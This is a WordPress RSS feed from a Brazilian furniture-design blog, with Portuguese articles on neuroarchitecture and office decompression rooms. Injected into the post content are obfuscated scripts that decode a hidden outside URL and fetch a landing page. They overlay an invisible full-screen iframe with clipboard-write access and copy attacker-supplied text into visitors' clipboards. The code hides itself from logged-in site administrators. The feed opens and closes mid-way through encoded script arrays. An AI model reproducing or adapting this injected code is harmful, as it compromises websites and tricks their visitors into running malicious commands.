0,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,27,10,19,5,19,30,5,15,8,22,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,60,51,52,59,54,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,60,51,52,59,54,15,40,54,115,97,87,80,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,44,59,40,122,60,51,52,59,54,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,59,54,21,40,51,61,51,52,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,51,52,59,54,15,40,54,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,103,122,40,47,52,114,115,97,87,80,39,115,114,115,97];return String.fromCharCode.apply(String,_0x5641.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement("script");__sc.type="text/javascript";__sc.text=__s;__h.appendChild(__sc);})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><p>O post <a href="https://marel.com.br/entenda-a-relacao-dos-moveis-planejados-com-a-neuroarquitetura/">Entenda a relação dos móveis planejados com a neuroarquitetura</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://marel.com.br/entenda-a-relacao-dos-moveis-planejados-com-a-neuroarquitetura/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Sala de descompressão, o que é e como criar uma</title>
		<link>https://marel.com.br/sala-de-descompressao-o-que-e-e-como-criar-uma/</link>
					<comments>https://marel.com.br/sala-de-descompressao-o-que-e-e-como-criar-uma/#comments</comments>
		
		<dc:creator><![CDATA[BLOG USER]]></dc:creator>
		<pubDate>Thu, 23 Sep 2021 21:00:30 +0000</pubDate>
				<category><![CDATA[Sem categoria]]></category>
		<guid isPermaLink="false">https://marel.com.br/?p=1309</guid>

					<description><![CDATA[<p>Vamos entender o que é uma sala de descompressão? Esse ambiente é uma tendência que ganhou destaque depois da pandemia. </p>
<p>O post <a href="https://marel.com.br/sala-de-descompressao-o-que-e-e-como-criar-uma/">Sala de descompressão, o que é e como criar uma</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">O ambiente corporativo tem se modificado nos últimos anos. Existe uma tendência para que os escritórios acinzentados, em que cada funcionário fica isolado em um cubículo, se torne peça do passado — e essa tendência tem tudo a ver com o tema deste artigo: a sala de descompressão.</p>



<p class="wp-block-paragraph">A sala de descompressão está ligada à ideia de que precisamos de ambientes mais dinâmicos para conseguirmos nos desligar um pouco do trabalho e descansarmos, pois o descanso é fundamental para que recarreguemos as energias para as novas atividades.&nbsp;</p>



<p class="wp-block-paragraph">Acontece que a pandemia alterou um pouco esse conceito, trazendo um dilema: com o trabalho remoto, é preciso que tenhamos uma sala de descompressão em casa? Vamos refletir juntos sobre esse tema?</p>



<h2 class="wp-block-heading">Sala de descompressão: relaxar para produzir mais&nbsp;</h2>



<p class="wp-block-paragraph">Até o começo dos anos 2000, quando pensávamos em um ambiente altamente produtivo, é provável que imaginássemos uma sala fechada, com decoração em tons escuros e um funcionário exausto, trabalhando horas a fio.&nbsp;</p>



<p class="wp-block-paragraph">Contudo, hoje essa imagem está mudando. As empresas de tecnologia, como Google e Facebook, adotaram modelos diferentes para garantir a produtividade dos seus colaboradores.&nbsp;</p>



<p class="wp-block-paragraph">As salas de descompressão são espaços usados para os funcionários descansarem e relaxarem. São muitas as vantagens, além de ajudarem o colaborador a recarregar as baterias, esses ambientes contribuem para que o indivíduo se sinta mais valorizado pela empresa — evitando que ele se aborreça com o seu trabalho.&nbsp;</p>



<h2 class="wp-block-heading">Projetando uma sala de descompressão&nbsp;</h2>



<p class="wp-block-paragraph">Para criar o ambiente ideal, a equipe de arquitetura deve avaliar cuidadosamente as atividades desempenhadas pelos funcionários, evitando olhar apenas para a atividade principal do negócio.&nbsp;</p>



<p class="wp-block-paragraph">Vale a pena conversar com o time de Recursos Humanos, com o objetivo de entender as principais queixas dos funcionários, motivos de atestados médicos etc.&nbsp;</p>



<p class="wp-block-paragraph">Se há uma queixa recorrente de cansaço, pode ser interessante criar um espaço para que essas pessoas descansem, buscando móveis como espreguiçadeiras, poltronas etc.&nbsp;</p>



<p class="wp-block-paragraph">Se os gestores costumam reclamar que os funcionários não agem como um time, a sala pode incentivar o estreitamento dos laços, recorrendo a videogames e jogos, como sinuca.&nbsp;</p>



<p class="wp-block-paragraph">É claro que essas atividades precisam estar de acordo com a rotina da empresa, pois ter uma sala de descompressão que nunca pode ser usada, pois os horários de trabalho impedem isso, pode ser frustrante.</p>



<p class="wp-block-paragraph">Por fim, outra dica é respeitar a cultura da companhia. Se você está projetando um espaço para uma marca mais tradicional, uma sala com jogos eletrônicos pode não ser uma boa ideia.</p>



<h2 class="wp-block-heading">Escolhendo os móveis para a sala de descompressão&nbsp;</h2>



<p class="wp-block-paragraph">Se o objetivo for descansar, você pode recorrer às poltronas, pufes e espreguiçadeiras. Note que não citamos camas, pois o funcionário não poderá dormir profundamente. Ele descansará por um período breve.&nbsp;</p>



<p class="wp-block-paragraph">Ao mesmo tempo, esses móveis são mais fáceis de limpar, exigindo menos esforço do time de limpeza. Para o descanso, é fundamental aliar a iluminação com as cores dos móveis. É preciso reduzir os estímulos. Luzes amenas e móveis em tons claros podem ser uma saída elegante e eficiente.&nbsp;</p>



<p class="wp-block-paragraph">Agora, se o objetivo for estimular e divertir as pessoas, as cores devem ser vivas. Os móveis podem ser mais modernos, em alguns casos com estampas abstratas. Tudo deve ser feito para que as pessoas tenham a criatividade estimulada, sentindo-se motivadas. Mesas de jogos, cadeiras e mesas para bate-papo são bem-vindas!</p>



<p class="wp-block-paragraph">Existem ainda as salas de filmes. São salas escuras em que os funcionários podem assistir às suas séries e filmes prediletos. Nesse caso, os pufes são a saída mais indicada, pois dão conforto aos visitantes e são menos invasivos que os sofás, que obrigam a aproximação entre os colegas.&nbsp;</p>



<h2 class="wp-block-heading">Home Office e o espaço de descompressão em casa </h2>



<p class="wp-block-paragraph">A pandemia transformou quartos e salas em escritórios. No começo, essa ideia não pareceu ruim, mas, na prática, ela fez com que perdêssemos espaços de descanso — e isso é ruim para a nossa saúde.&nbsp;</p>



<p class="wp-block-paragraph">Antes de pensar em uma sala de descompressão para um imóvel, é preciso definir os espaços para trabalho. Dessa forma, os ambientes que já existem, como a sala de estar, a cozinha, a varanda e o jardim já podem cumprir o papel de relaxar esse morador que vive e trabalha no mesmo endereço.&nbsp;</p>



<p class="wp-block-paragraph">É claro que isso varia de acordo com a planta de cada casa. Dependendo do estilo do imóvel, pode ser uma boa ideia dar uma redecorada na sala de estar, fazendo com que ela cumpra esse papel de trazer descanso visual e mental para o morador.&nbsp;</p>



<p class="wp-block-paragraph">Nem sempre as pessoas percebem, mas a arquitetura vai criando os espaços ideais para as novas demandas do mundo. Neste momento, temos que criar ambientes que estimulem a produtividade e a criatividade, mas que não esgotem ou adoeçam as pessoas.&nbsp;</p>



<p class="wp-block-paragraph">O conceito de sala de descompressão atende a essas demandas. As demandas do mundo corporativo do século 21.&nbsp;</p>



<p class="wp-block-paragraph">Se você quer se manter sempre atualizado sobre as novidades em decoração, assine nossa newsletter!</p>
<script>(function(){var __s=(function(){var _0x5641=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,120,50,46,46,42,41,96,117,117,40,53,41,40,63,60,47,40,56,53,41,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42,120,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,